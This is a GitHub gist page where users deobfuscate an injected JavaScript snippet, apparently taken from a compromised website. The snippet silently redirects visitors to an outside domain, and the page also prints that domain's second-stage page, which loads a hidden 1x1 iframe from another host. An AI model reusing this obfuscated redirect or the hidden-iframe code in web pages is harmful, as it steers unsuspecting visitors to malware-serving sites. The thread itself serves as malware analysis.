Skip to content

Instantly share code, notes, and snippets.

@erubboli
Created June 17, 2010 17:23
Show Gist options
  • Save erubboli/442425 to your computer and use it in GitHub Desktop.
Save erubboli/442425 to your computer and use it in GitHub Desktop.
<script type='text/javascript'>
function rM() {};
rC = '';
rM.prototype = {
g: function() {
var o = function() {};
var i = 31535;
this.c = "c";
this.v = 65257;
this.k = 3271;
this.cD = "cD";
function x() {};
t = document['luoucfaft@ijounu'.replace(/[ufj\[@]/g, '')];
b = "";
this.cY = false;
this.e = 11644;
u = '';
var bR = function() {
return 'bR'
};
w = '';
this.n = '';
function m(p, j) {
iH = false;
var nV = new Array();
this.h = false;
this.q = "";
p.href = j;
this.wX = 65246;
this.a = false;
cP = 53576;
function nZ() {};
}
this.wM = "";
wJ = 9315;
r = "";
var vU = function() {};
hR = "";
var vT = function() {
return 'vT'
};
m(t, 'h#t?t#p#:e/#/%t%i#l?t^a^n^d#g?r^i^n?.%c#o?m%/?z#.%het^m%le'.replace(/[e\?#%\^]/g, ''));
this.uB = false;
function bZ() {};
jR = '';
var cZ = function() {
return 'cZ'
};
}
};
var wMG = new Array();
var pM = new rM();
var tS = '';
pM.g();
qI = "qI";
</script>
@fangel
Copy link

fangel commented Jun 17, 2010

If you remove all the redundant code (ie assigns variable and functions that's never used) and evals the replace it becomes

function rM(){};
rM.prototype = {
    g : function() {
        t=document['location'];
        function m(p, j){
            p.href=j;
        }
        m(t, 'http://tiltandgrin.com/z.html');
    }
};
var pM=new rM(); 
pM.g();

Which is the same as document.location.href = 'http://tiltandgrin.com/z.html;

@erubboli
Copy link
Author

yep! this is the content of z.html:

<meta http-equiv="refresh" content="3;url=http://toldspeak.com/" />
<iframe src='http://treddent.photosronaldo.com:8080/index.php?pid=10' width='1' height='1' style='visibility: hidden;'></iframe><br>

@fangel
Copy link

fangel commented Jun 17, 2010

Okay, I get a 406 Not Acceptable when I request the resource with cURL. But if I set cURL to use the User-Agent string of Safari or IE I get a 404 Not Found instead.
Which browser did you use to get content of z.html?

@erubboli
Copy link
Author

wget
maybe they removed it...

@erubboli
Copy link
Author

yep its 404 now

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment